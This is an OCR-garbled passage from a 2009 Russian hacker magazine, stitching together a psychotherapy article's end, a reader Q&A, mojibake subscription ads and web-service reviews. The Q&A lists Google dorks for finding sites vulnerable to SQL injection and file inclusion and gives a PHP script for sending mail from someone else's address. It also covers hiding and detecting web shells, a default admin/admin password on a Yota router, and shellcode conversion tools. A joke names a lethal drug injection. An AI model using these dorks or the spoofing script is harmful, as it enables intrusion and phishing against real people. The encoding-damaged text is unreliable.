(если он не совсем деревянный) 
подопытному привести свои мысли 
в порядок, соотнеся причины со 
следствиями, а аргументы — с 
фактами. Как видишь, никакого 
внушения, мозгокопания и гипноза 
:) — такие психотерапевты не дают 
никаких советов.
Поэтому, если кто-то начинает 
переносить на кого-то свой личный 
опыт вроде «да брось ее, она стерва, 
найдешь другую» или там «ты же 
неудачник, сделай себе кетамина с 
павулоном по вене, не копти небо, 
умрешь быстро и безболезненно» — 
знай, это не психотерапевт, это ба-
бушка на завалинке, ТП в интернете 
или просто вредитель.
• Экзистенциальная психотера-
пия. Еще один вид психотерапии, 
направленный не на изучение и 
анализ психики человека, а на 

изучении его жизни (в том числе, 
тех переломных моментов, которые 
позволяют ее круто изменить) — в 
связи с окружающим его миром и 
сожительствующими с ним людьми. 
Направлений экзистенциальной 
психотерапии несколько, одного 
из ее основоположников мы уже 
упоминали в рамках PSYCHO — это 
Ирвин Ялом. Качай его книги, если, 
конечно, не боишься :).
• Психодрама. Никаким император-
ским театром драмы и комедии тут 
и не пахнет, да и особым трагиз-
мом все это дело не отличается. 
Психодрама — это такое шоу, когда 
постановщик (режиссер) — это один 
из клиентов, а «роли» действующих 
лиц проблемной ситуации исполня-
ют другие члены терапевтической 
группы. В задачи психотерапевта 
входит только удерживать эту кон-
струкцию, то есть помогать инструк-
циями, задавать хитрые вопросы 
«действующим лицам» и самому 
«режиссеру». Обмен мыслями и 
чувствами может происходить и в 
процессе разыгрывания сценки.
• Семейная психотерапия. Из 
названия нетрудно догадаться, 
что когда жена пьет, муж сидит за 
компом, дети — дерутся, школу 
прогуливают и плохо кушают, а 
суммарно все плюют друг на друга с 
высокой колокольни — поможет им 
только… нет, не живительный на-
палм. Гуманнее надо быть, товарищ! 
У нас ведь добрая статья. Поможет 
им семейная психотерапия, которая 
изобретена, дабы работать не с 
одним человеком, а со всей семьей 
разом.
• Гипноз и Эриксоновский гипноз. 
По сути, это не отдельные направ-
ления, а инструменты, применяе-

мые в рамках психотерапии. Ты 
же пользуешься гаечным ключом 
в процессе замены разбитого в 
новый год унитаза? Вот и психо-
терапевты пользуются гипнозом в 
разных видах психотерапии — ино-
гда клиентам хочется испытывать 
поменьше боли и терапевт пони-
мает, что его можно от части боли 
избавить. Ничего лучше, чем транс, 
для проживания неприятных жиз-
ненных моментов, мозг человека 
пока не придумал. Кстати, транс — 
дело обыкновенное, ловлей ворон 
на скучных уроках астрофизики 
хоть раз занимался каждый нор-
мальный ученик. Переживая, в том 
числе, и первые состояния легкого 
транса. С помощью гипноза, если 
это полезно и безопасно для 
пациента, терапевт впаривает 
капризному мозгу клиента ту самую 
астрофизику, когда она ему нужна, 
при этом позволяя думать, что 
клиент считает ворон… Разница 
между видами гипноза не велика, 
обычно она чисто техническая. 
Милтон Эриксон никогда не орал 
клиентам «СПААААТЬ!», как это 
делали и делают «классические» 
гипнотизеры и фокусники. Однако 
его клиенты так же радостно «счи-
тали ворон».

Çàêëþ÷åíèå
Будем считать, что после про-
чтения этой статьи ты немного 
продвинулся в осознании смысла 
жизни и существования легальных 
специалистов по человеческим 
душам. Теперь, если ты вдруг 
сойдешь с ума по-настоящему на 
почве ностальгии по текстам Дани 
Шеповалова — будешь знать, куда 
обращаться :). Удачи.  z

Гугл рекомендует: стань психологом: курсы, 
недорого, VIP, на дому, сауна, выезд, апартаменты, 
100% контроль окружающих! :)

Справочник по 
психиатрии от 
издательства 
«Практика» (в .pdb). 
Кратко, просто, понятно. 
Удивительное дело :)
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Когнитивная психотерапия: полное руководство. Не 
для средних умов!
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Q: Обожаю копаться в коде различных движков. 

Какие CMS наиболее популярны в Сети?

A: Сейчас существуют сотни, если не тысячи, 
более или менее популярных веб-движков, 
каждый из которых широко известен толь-
ко в какой-либо стране или сегменте Сети. 
Поэтому я не возьмусь сам составлять такой топ 
(любой топ по наиболее используемым CMS 
будет крайне субъективным), а воспользуюсь 
уже готовым мнением специалистов портала 
tutsplus.com.
1. WordPress — твердое первое место 
(wordpress.org; 116,000,000 результатов в Гугле 
по запросу «powered by wordpress»);
2. Drupal — не менее популярный движок, 
используемый небезызвестным whitehouse.gov 
(drupal.com; получить примерное представ-
ление о количестве установленных движков 
можно в Гугле по запросам «inurl:node/N», где 
N — любое число);
3. Joomla! — наиболее любимый хакерами дви-
жок (joomla.org; 22,000,000 результатов в Гугле);
4. ExpressionEngine — темная лошадка в топе, 
распространяется на платной основе и почти 
не используется в странах СНГ

 (www.expressionengine.com; 3,530,000 резуль-
татов);
5. TextPattern — также довольно известный дви-
жок (textpattern.com; по разным запросам Гугл 
выдает до 500k результатов);
6. Radiant CMS — простая, но очень мощная 
CMS (radiantcms.org; до 400k результатов);
7. Cushy CMS — крайне интересная разработка, 
работающая с чистым HTML и не требующая 
никакого интерпретируемого языка на сервере 
(www.cushycms.com; более 200k результатов);
8. SilverStripe — движок, чем-то напоминающий 
WordPress (www.silverstripe.org; более 160k 
результатов);
9. Alfresco — мощный движок на JSP (www.
alfresco.com; более 100k результатов по разным 
запросам);
10. TYPOlight — широко известный в СНГ дви-
жок (www.typolight.org; до 100k результатов по 
разным запросам).

Естественно, искать уязвимости в первых трех 
CMS из данного топа — занятие довольно бес-
полезное (если не трогать модули и плагины), 
зато остальные движки радостно предоставят 

тебе свои исходники для дальнейшего их пре-
парирования :).

P.S. Также советую обратить внимание на 
сборники менее популярных движков: php.
opensourcecms.com, cmslist.ru, cmsmatrix.
org и на известнейшее Open Source комьюнити 
sourceforge.net.

Q: Пишу свой движок. Встала проблема с сов-

местным использованием библиотек jQuery и 

Prototype. Как разрешить их конфликт?

A: Как раз на такой случай в замечательном 
фреймворке jQuery предусмотрена фича 
noconflict-mode. Использовать ее можно, 
например, так:

 <html>

 <head>

   <script src="prototype.js"></

script>

   <script src="jquery.js"></script>

   <script>

     jQuery.noConflict();

UNITS
Маг
Степан «Step» Ильин twitter.com/stepah

faq
united

@real.xakep.ru

Есть вопросы, в чем-то не смог разобраться? 
Хочешь увидеть ответ на свой вопрос в люби-
мом журнале? Наш ящик faq@real.xakep.ru 
ждет твоих писем!
Автор самого интересного вопроса следую-
щего номера получит подарок: 4G USB-мо-
дем Samsung SWC-U200 для работы в Mobile 
WiMAX сети YOTA.
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          // Use jQuery via jQuery(...)
     jQuery(document).

ready(function(){

       jQuery("div").hide();

     });

     

     // Use Prototype with $(...), 

etc.

     $('someid').hide();

   </script>

 </head>

 <body></body>

 </html>

Подробности и другие примеры использования 
ищи на официальном сайте jQuery — http://
docs.jquery.com/Using_jQuery_with_Other_
Libraries.

Q: Существуют ли в настоящее время ресур-

сы — сборники свежих эксплоитов, подобные 

почившему milw0rm.com?

A: По мнению большинства участников фору-
мов по безопасности, именно ресурс explo.it 
(или www.exploit-db.com) является преемником 
внезапно покинувшего нас милворма. Здесь, 
как и на milw0rm.com, ты сможешь найти 
разделы:
• Remote Exploits (удаленные эксплоиты);
• Local Exploits (локальные эксплоиты);
• Web Applications (эксплойты для веб-прило-
жений);
• DoS/PoC (эксплойты для атак отказа в обслу-
живании);
• Shellcode (шелл-коды);
• Papers (статьи);
• Search (поиск);
• D (скачивание всех эксплойтов в одном 
архиве);
• Submit (добавление своего эксплоита);
• Rss (подписка на обновления базы данных 
эксплоитов).
Также советую не забывать про наших старых 
знакомых: securityfocus.com и securitylab.ru.

Q: Подскажи примеры запросов для Гугла, по 

которым можно искать уязвимые сайты. 

A: Легко! Вот небольшой список дорков (dorks), 
разделенный на категории:
1. SQL-инъекции:

inurl:".php?id="

inurl:".php?cat="

inurl:".php?catid="

inurl:".php?num="

inurl:".php?bid="

inurl:".php?pid="

inurl:".php?nid="

inurl:".php?avd="

inurl:".php?file="

2. Local File Inclusion/Remote File Inclusion:

inurl:".php?pagina="

inurl:".php?inc="

inurl:".php?include_file="

inurl:".php?page="

inurl:".php?show="

inurl:".php?cat="

inurl:".php?file="

inurl:".php?path_local="

inurl:".php?phpbb_root_dir="

inurl:".php?path_pre="

inurl:".php?nic="

inurl:".php?sec="

inurl:".php?content="

inurl:".php?link="

inurl:".php?filename="

inurl:".php?dir="

inurl:".php?document="

inurl:".php?view="

inurl:".php?sel="

inurl:".php?locate="

inurl:".php?place="

inurl:".php?layout="

inurl:".php?go="

inurl:".php?catch="

inurl:".php?mode="

inurl:".php?name="

inurl:".php?loc="

inurl:".php?f="

inurl:".php?inf="

inurl:".php?pg="

inurl:".php?load="

inurl:".php?naam="

Таких примеров можно привести бесконечно 
много, стоит лишь подключить свое воображе-
ние :).

Q: Слышал, что в *nix-системах можно очень лег-

ко найти файлы, измененные командой touch. 

Как это сделать?

A: Действительно, команда touch изменяет 
лишь время модификации файла (mtime) и 
время доступа на то, что было указано в ее 
параметрах. Те, кто пользуются командой 
touch для сокрытия своих шеллов от назой-
ливых глаз админов взломанного ресурса, 
часто забывают, что у файла также есть и 
такой забавный атрибут, как ctime (Change 
Time) — он фиксирует время изменения 
метаданных файла (например, прав доступа, 
владельца, группы и т.д.). Таким образом, для 
поиска свежезалитых и спрятанных шеллов 
админу похаканного сайта достаточно лишь 
воспользоваться утилитой find следующим 
образом:

"find [ÊÀÒÀËÎÃ] -ctime -1".

Стоит отметить, что менять атрибут можно 
лишь с правами рута. Для этого существуют 
специальные средства: www.krazyworks.
com/changing-time и www.securiteam.com/
tools/5JP0H2K7FE.html.
P.S. Спасибо за информацию участнику Античата 
(Dm).

Q: Какие еще возможности существуют у систе-

мы WebMoney, помимо операций с валютой?

A: WebMoney располагает множеством инте-
ресных сервисов. Среди наиболее полезных в 
нашем деле следует отметить:
1. Передача файлов. WebMoney создала спе-
циальный файлообменник, расположенный по 
адресу files.webmoney.ru. С помощью сервиса 
ты сможешь не просто обмениваться файлами, 
но еще и проводить защищенные сделки с 
другими участниками системы — файлообмен-
ник логирует все следы передачи файлов в 
системе.
2. Передача игровой валюты — специальный 
сервис для геймеров, позволяющий прода-
вать, покупать и обменивать внутриигровую 
валюту, персов, артефакты и другие предметы, 
присутст вующие в популярных многопользова-
тельских онлайн-играх. Найти сервис можно по 
адресу gamelot.ru.
3. Передача цифровых товаров — небезызвест-
ный Digiseller.ru, позволяющий создавать свои 
собственные онлайн-магазины.
4. Защита программ от пиратов (Software 
activation service) — сервис, позволяющий 
защитить свой софт от пиратов. Подробности 
читаем на www.softactivation.com/asp/about.
asp.
5. Защита сделок — популярный сервис орга-
низации WM-трастов, позволяющих объеди-
няться с предполагаемыми партнерами для 
формирования совместных вкладов. Находится 
сервис тут: trust.webmoney.ru.

Q: Подскажи, как с помощью PHP отправлять 

письма с чужого e-mail?

A: С поставленной тобой задачей успешно 
может справиться небольшой и очень простой 
скрипт:

<?php

//Ïàðàìåòðû ïèñüìà

$subject = 'Çàãîëîâîê ïèñüìà';

$message = 'Òåêñò ñîîáùåíèÿ';

$from_name = 'Èìÿ îòïðàâèòåëÿ';

$from_mail = 'Àäðåñ îòïðàâèòåëÿ';

$to = 'Àäðåñ ïîëó÷àòåëÿ';

$priority = 1; //ïðèîðèòåò, îò 1 äî 3

//Çàãîëîâêè ïèñüìà 

$body = "$message\n"; 

$from = "$from_name <$from_mail>"; 

$headers = "Content-Type: text/

html; charset=windows-1251\n"; 

$headers .= "From: $from_mail\n"; 

$headers .= "X-Mailer: The Bat! 

2005\n"; 

$headers .= "X-Priority: 

$priority\n"; 

//Îòïðàâêà ïèñüìà

mail($to,$subject,$body,$headers); 

?>
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Q: Какие существуют сервисы по предоставле-

нию коротких ссылок для редиректа?

A: Один из самых больших списков таких 
сервисов составил участник форума Античат 
[Life]: http://forum.antichat.ru/thread169495.
html. Перечисленные сервисы бесплатны и 
предоставляют следующие услуги:
• статистика по переходам;
• простой редирект;
• редирект во фрейме;
•редирект с рекламой и без;
• ссылка на редирект вида site.com/string;
• ссылка на редирект вида subdomen.site.com.
От себя добавлю, что самым известным и ста-
бильным сервисом такого рода является http://
tinyurl.com.

Q: Достаточно часто стали приходить SMS-ки 

с просьбой кинуть деньги на определенный 

номер, перезвонить, кликнуть по линку и т.д. — 

словом, сплошь и рядом один лохотрон. Более 

того — ребята даже не стесняются звонить, 

называя меня по имени и бросая трубку. Очень 

хочется подчас пробить телефоны по какой-

нибудь базе, но понимаю, что ничего такого в 

открытом доступе нет. К тому же, непонятно, к 

какому оператору эти номера принадлежат (и 

соответственно, к каким людям обращаться за 

справкой). Так вот: как можно выяснить опера-

тора и регион, к которому относится номер? Ведь 

это, как и коды городов, должно быть открытой 

информацией?

A: Да, выяснить оператора и регион, к кото-
рому приписана симка, можно совершенно 
бесплатно, воспользовавшись онлайн-
сервисом: http://mtt.ru/info/def/index.wbp. 
Достаточно указать Код DEF (910, 903 и т.д.), 
означающий, как правило, оператора и ре-
гион, и собственно остаток телефонного но-
мера. Возможно и обратное преобразование. 
Выбери нужного оператора, область РФ — 
и получишь все номерные емкости в виде 
списка. Отличный сервис: не хватает разве 
что XML-интерфейса.

Q: Самые разные знакомые уже замучили прось-

бами излечить их компьютер от «блокировки 

порнушкой, которая закрыла весь экран и просит 

отправить SMS для того, чтобы от нее избавить-

ся». Причем больше половины из них этим спо-

собом не преминуло воспользоваться :). Устал 

работать «ручным антивирусом». Наверняка же 

есть автоматические тулзы, как раз нацеленные, 

чтобы эту дрянь удалить?

A: Ох, скольким я уже помог — не счесть. Теперь, 
когда времени нет, я просто даю линки на так 
называемые деблокеры: Unlocker от Dr.Web 
(www.drweb.com/unlocker/index) и Deblocker от  
Лаборатории Касперского (support.kaspersky.
ru/viruses/deblocker). В каждом из этих онлайн-
сервисов необходимо ввести телефона номер, 
на который предлагается отправить SMS, а 
сервис в свою очередь предоставляет код для 
разблокировки.

Q: Что за история с открытой админкой в «Яйце 

от Yota» — маленьком девайсе, позволяющем 

расшарить WiMax-инет через Wi-Fi?

A: Нюанс заключается в наличии у устройства 
двух админок: одной — официальной от опе-
ратора Yota, и второй — оригинальной панели 
администратора, доступной в устройстве 
Interbro KWI B2200 от производителя. Секрет 
в том, что всем пользователям предлагается 
использовать упрощенную и усовершенство-
ванную админку от Yota (192.168.1.1), в то время 
как оригинальная админка девайса незаметно 
располагается по адресу 192.168.1.254, а факт 
ее наличия остается недокументированным. 
Увы, пароль на последнюю оставался неизмен-
ным с завода, и, набрав admin/admin, каждый, 
кто уже подключился к девайсу по Wi-Fi, мог 
подключиться и управлять «Яйцом от Yota». 
Понятно, что, не зная ключа на Wi-Fi (в случае 
если беспроводная сеть была защищена), 
подключиться к админке было невозможно. 
Но если с тобой поделились ключом или ты 
вообще попал на открытую сеть, то такая атака 
была возможной. Баг после публичной огласки 
быстро прикрыли.

Q: Много пишу на JS для сайтов (онлайн-игры). 

Понял, что многие проверки, реализующие 

безопасность, использую во многих местах и 

оформил их в виде небольшого фреймворка. 

Хотел бы сравнить свое решение с подобными 

разработками от авторитетных разработчиков. 

Можете что-нибудь посоветовать?

A: Хотя бы раз, но ты наверняка использовал 
какую-нибудь утилиту, входящую в проект 
OWASP (www.owasp.org), который объединяет 
большое количество программ для людей, 
занимающихся информационной безопаснос-
тью. В рамках этого проекта разрабатывается 
и OWASP ESAPI4JS (http://code.google.com/p/
owasp-esapi-js). Разработанный китайскими 
хакерами, фреймворк предоставляет большое 
количество функций, реализующих проверки 
и фильтрацию ввода, пользователю для того, 
чтобы быстро писать безопасный JS-код. К тому 
же, с использованием ESAPI4JS исходники 
становятся намного читабельнее и опрятнее.

Q: Есть шелл-код в бинарном виде. Как проще 

преобразовать его в разные форматы: например, 

в \u4241\u2743\u0D22\u000A, или, скажем, \x41\

x42\x43\x27\x22\x0D\x0A\x00? Лениво каждый 

раз делать это вручную.

A: Есть классная утилита BETA3 (http://code.
google.com/p/beta3), позволяющая преобразо-
вать шелл-код из бинарного представления в 
текстовой вид, причем в 16 различных форма-
тов — любых, какие только могут понадобиться. 
Рекомендую.

Q: Хочу внутри компании поднять своего поиско-

вого робота – что-то вроде Google-бота, который 

будет серфить внутренние ресурсы и индексиро-

вать все данные для дальнейшего поиска. Нужно 

решение, причем обязательно open-source!

A: Существует немало подобных решений, 
но я советую начать с изучения следующих 
проектов:
BDDBot (www.twmacinta.com/bddbot) — очень 
простое, но потому и очень полезное решение, 
если ты хочешь разобраться, как в принципе 
устроен поисковик;
Sphider (www.sphider.eu) — решение с легко 
читаемым кодом на PHP, представляющее собой 
веб-паука, который хранит данные в базе MySQL;
OpenWebSpider (www.openwebspider.org) — 
паук для индексирования данных, оптимизи-
рованный именно для работы с веб, в котором 
реализованы механизмы многопоточности.
Nutch (lucene.apache.org/nutch) — реализация 
поискового механизма на Java;
XQEngine (xqengine.sourceforge.net) — поиско-
вик по данным, хранящимся в XML-формате.

Q: Можно ли как-нибудь ограничить учетную за-

пись Windows для запуска строго определенных 

приложений, и при этом использовать только 

локальные политики?

A: Такая возможность, наконец-то, появилась в 
Windows 7. Для этого:
• запускаем оснастку для управления локаль-
ными политиками: выполнить  «gpedit.msc»;
• переходим в ветку «User Configuration\
Administrative Templates\System»;
• ищем раздел «System» и в нем ключ — Run only; 
• устанавливаем значение «Enable» и ниже, в 
секции «Options», нажимаем кнопку «Show» 
рядом с опцией «List of allowed applications»;
• в появившемся списке заносим программы, 
которые разрешены для запуска обычным 
пользователем.
Защита, прямо скажем, так себе, поэтому если 
нужно действительно серьезное ограничение 
на запуск программ, то лучше взглянуть в сто-
рону технологии Applocker, также появившейся 
в Windows 7.

Q: Для своей небольшой компании хочу орга-

низовать автоответчик с меню, которым может 

воспользоваться дозвонившийся человек. 

«Нажмите 0 для связи с секретарем, 1 — для 

того, чтобы узнать свой баланс» и т.д. Подскажи, 

как наиболее просто это сделать?

A: Тебе поможет небезызвестный Asterisk (www.
asterisk.org). Это очень гибкая телефонная 
платформа, на основе которой достаточно легко 
строить приложения. Например, простейшее 
IVR-меню (Interactive Voice Response), то есть 
систему предварительно записанных голосо-
вых сообщений, которая выполняет функцию 
маршрутизации звонков, пользуясь информа-
цией, вводимой клиентом с помощью тональ-
ного набора. Такое приложение с помощью 
астерикса может быть построено за 20 минут, 
при этом наибольшее время потребуется на 
запись звуковых файлов для меню. За примером 
простейшей системы отправляйся — http://nag.
ru/news/17515.  z
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Total DVD+DVD

Ski Pass

DVDXpertSmoke

«Страна Игр»
+2DVD

«РС Игры»+2DVD Digital Photo

«Форсаж.ТА»

«Железо»+DVD

«Мобильные 
компьютеры»

«T3.Техника 
Третьего Тысячелетия»

«Тюнинг 
Автомобилей»

Mountin Bike ONBOARD Total Football+DVD

11  46  Ноябрь 2009 

www.totalfootb
Футбол как Стр

РЕКОМЕНДОВАННАЯ

ЦЕНА

170 p  .

КТО ЗАСТАВИЛ ЕГО 
ГОВОРИТЬ С ПРЕССОЙ 

PES
1 0
НАШ
ОБЗОР

РОССИЯ — ГЕРМАНИЯ
ГЛАВНЫЕ МОМЕНТЫ
МАТЧА ГОДА

ЛУЧШ
ФУТБОЛЬНЫ

ШКОЛ МИ

6
ВАГНЕР ЛА
ПОЧЕМУ ОН УЕХА

В  БРАЗИЛИ

БАРСЕЛОНА
 СПАРТАК
АКИНФЕЕВ
ЧЕРЧЕСОВ

БЫСТРОВ
ВОЙНА ФАНАТОВ.
ЗА И ПРОТИВ

ИГНАШЕВИЧ

2 ПОСТЕРА В

СПАРТАК И К

«Хулиган»

«Вышиваю 
крестиком»

«Фото-
мастерская»+CD

Ãîäîâàÿ ïîäïèñêà ïî öåíå
175 руб. за один номер, что на 23% дешевле чем рекомендуемая розничная цена (230 
руб. за одн номер )

ÅÄÈÍÀß ÖÅÍÀ ÏÎ ÂÑÅÉ ÐÎÑÑÈÈ. ÄÎÑÒÀÂÊÀ ÇÀ Ñ×ÅÒ ÈÇÄÀÒÅËß, Â ÒÎÌ ×ÈÑËÅ ÊÓÐÜÅÐÎÌ ÏÎ  ÌÎÑÊÂÅ Â ÏÐÅÄÅËÀÕ ÌÊÀÄ

ÎÔÎÐÌÈÂ ÃÎÄÎÂÓÞ ÏÎÄÏÈÑÊÓ 
Â ÐÅÄÀÊÖÈÈ, ÒÛ ÌÎÆÅØÜ 
ÁÅÑÏËÀÒÍÎ ÏÎËÓ×ÈÒÜ ÎÄÈÍ 
ÑÂÅÆÈÉ ÍÎÌÅÐ ËÞÁÎÃÎ 
ÆÓÐÍÀËÀ, ÈÇÄÀÂÀÅÌÎÃÎ 
ÊÎÌÏÀÍÈÅÉ «ÃÅÉÌ ËÝÍÄ»:

•  ЯНВАРСКИЙ НОМЕР — подписавшись 
    до 30 ноября
•  ФЕВРАЛЬСКИЙ НОМЕР — подписавшись 
    до 31 декабря   
•  МАРТОВСКИЙ НОМЕР — подписавшись 
    до 31 января

È ÝÒÎ ÅÙÅ ÍÅ ÂÑÅ! 
ÏÎËÓ×È Â ÏÎÄÀÐÎÊ
ÎÄÈÍ ÆÓÐÍÀË
ÄÐÓÃÎÉ ÒÅÌÀÒÈÊÈ

ÏÐÈ ÏÎÄÏÈÑÊÅ ÍÀ ÊÎÌÏËÅÊÒ ÆÓÐÍÀËÎÂ  
ÆÅËÅÇÎ +  ÕÀÊÅÐ +  DVD: 
- ÎÄÈÍ ÍÎÌÅÐ ÂÑÅÃÎ ÇÀ 155 ÐÓÁËÅÉ 
(ÍÀ 35% ÄÅØÅÂËÅ, ×ÅÌ Â ÐÎÇÍÈÖÓ)

ÂÍÈÌÀÍÈÅ! 
ÂÒÎÐÎÅ 
ÑÏÅÖÏÐÅÄËÎÆÅÍÈÅ! 

ÇÀ 24 ÍÎÌÅÐÀ

3720 ðóá   2100 ðóá   

ÇÀ 12 ÍÎÌÅÐÎÂ

8.5 Ãá
 DVD

ÁÓÄÜ ÓÌÍÛÌ! 
ÕÂÀÒÈÒ ÏÅÐÅÏËÀ×ÈÂÀÒÜ Â ÊÈÎÑÊÀÕ! ÑÝÊÎÍÎÌÜ 660 ÐÓÁ. ÍÀ ÃÎÄÎÂÎÉ ÏÎÄÏÈÑÊÅ!

2100 ðóá. 



ÇÂÎÍÈ! по бесплатным телефонам 8(495)780-88-29 
(для москвичей) и 8(800)200-3-999 (для жителей дру-
гих регионов России, абонентов сетей МТС, БиЛайн 
и Мегафон). ÒÂÎÈ ÂÎÏÐÎÑÛ, ÇÀÌÅ×ÀÍÈß È/ÈËÈ 
ÏÐÅÄËÎÆÅÍÈß ÏÎ ÏÎÄÏÈÑÊÅ ÍÀ ÆÓÐÍÀË ÏÐÎÑÈÌ
ÏÐÈÑÛËÀÒÜ ÍÀ ÀÄÐÅÑ: info@glc.ru

Äëëÿ æèòåëåé Ìîñêâû (â ïðåäåëàõ ÌÊÀÄ) äîñòàâêà ìîæåò îñóùåñòâëÿòüñÿ áåñïëàòíî ñ êóðüåðîì «èç ðóê â ðóêè» â òå÷åíèè òðåõ ðàáî÷èõ 
äíåé ñ ìîìåíòà âûõîäà íîìåðà íà àäðåñ îôèñà èëè íà äîìàøíèé àäðåñ

ÎÔÎÐÌÈÒÜ ÏÎÄÏÈÑÊÓ на Хакер стало еще 
проще! 
Еще один удобный способ оплаты подписки 
на твое любимое издание — в любом из 
72 000 платежных терминалах QIWI (КИВИ) 
по всей России. 

прошу выслать бесплатный 
номер журнала

 ÂÛÃÎÄÀ • ÃÀÐÀÍÒÈß • ÑÅÐÂÈÑ 
ÝÒÎ ËÅÃÊÎ!!! 
1.  Разборчиво заполните подписной купон и квитан-
цию, вырезав их из журнала, сделав ксерокопию 
или распечатав с сайта shop.glc.ru. 

2. Оплатите подписку через любой банк.
3.  Вышлите в редакцию копию подписных докумен-
тов — купона и квитанции — любым из нижепере-
численных способов: 

 ïî ýëåêòðîííîé ïî÷òå subscribe@glc.ru;
 ïî ôàêñó 8 (495) 780-88-24;
 ïî àäðåñó 119021, Ìîñêâà, 

óë. Òèìóðà Ôðóíçå, ä. 11, ñòð. 44, 
ÎÎÎ «Ãåéì Ëýíä», îòäåë ïîäïèñêè.

ÂÍÈÌÀÍÈÅ! 
ÏÎÄÏÈCÊÀ ÎÔÎÐÌËßÅÒÑß 
Â ÄÅÍÜ ÎÁÐÀÁÎÒÊÈ ÊÓÏÎÍÀ È ÊÂÈÒÀÍÖÈÈ
Ñ ÍÎÌÅÐÀ, ÂÛÕÎÄßÙÅÃÎ ×ÅÐÅÇ ÎÄÈÍ
ÊÀËÅÍÄÀÐÍÛÉ ÌÅÑßÖ ÏÎÑËÅ ÎÏËÀÒÛ.
Например, если произвести оплату в январе,
то подписку можно оформить с марта.

Â ÊÀÆÄÎÌ ÍÎÌÅÐÅ ÓÍÈÊÀËÜÍÛÉ DVD
ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ
2100Ð ÇÀ 12 ÌÅÑßÖÅÂ + ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË
1200Ð. ÍÀ 6 ÌÅÑßÖÅÂ. ÏÎÄÀÐÎ×ÍÛÉ ÆÓÐÍÀË ÏÐÈ ÝÒÎÌ ÍÅ ÂÛÑÛ-
ËÀÅÒÑß
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В инете существует немало сборников различных алгоритмов, но, 
чтобы ресурс был оформлен в виде социального сервиса, с возможнос-
тью совместной работы с помощью редактора кода и даже отладчика, я 
вижу впервые. Чего стоит одно только автодополнение кода, правда, для 
реализации пришлось использовать Silverlight, поэтому будь готов уста-
новить соответствующий плагин для браузера. Сейчас у Algorithmatic не 
самая большая база алгоритмов, но их количество постоянно растет.

ALGORITHMATIC
Algorithmatic

WIPMANIA
www.wipmania.com
Ранее, если было подозрение, что какой-то сайт упал из-за очередных 
проблем с маршрутизацией у провайдера, я использовал сервис just-
ping.com, с помощью которого пинговал нужный сервер совершенно из 
другого места (если пингуется, значит, проблемы у моего прова). Теперь 
же появился вариант намного лучше: WIPmania может пропинговать за-
данный хост одновременно с множества серверов по всему миру. Сделать 
traceroute, whois и даже обратный DNS. Для удобства есть плагин для 
Firefox, а разработчики могут использовать WIPmania через API.

ПРОСТОПЛЕЕР
prostopleer.com
Если тебе нужен сервис, где бы ты мог, во-первых, искать и скачивать 
музыку, а, во-вторых, удобно слушать ее онлайн (а именно так и было 
нужно мне), то простоплеер станет для тебя настоящей находкой. Быст-
рый поиск музыки по нескольким источникам (не стесняйся жать кнопку 
«Поиск» несколько раз) дополняется простым, но оттого-то и удобным 
онлайн-плеером с поддержкой плейлистов. Раз создав трек-лист, можно 
слушать музыку с любого компьютера — и при этом даже не регистриро-
ваться. Вот уж правда — простоплеер!

IT-EVENT
it-event.ru

Поиск музыки 
и онлайн-радио Продвинутый ping 

и traceroute с разных 
серверов

Расписание 
IT-событий 
на целый год

Продвинутый сборник 
алгоритмов

UNITS

HTTP://WWW2

Получить новые знания, познакомиться с единомышленниками и 
людьми в теме, найти потенциальных работников и работодателей и, в 
конце концов, банально отдохнуть можно на различных мероприятиях в 
сфере IT. IT-Event — не самый притязательный сайт (вероятно, пока), зато 
его создатели сумели собрать всю информацию о проходящих IT-событи-
ях в России, разгруппировав ее по городам. Выбирай, что тебе интересно, 
покупай билеты, ищи, к кому вписаться — и вперед!
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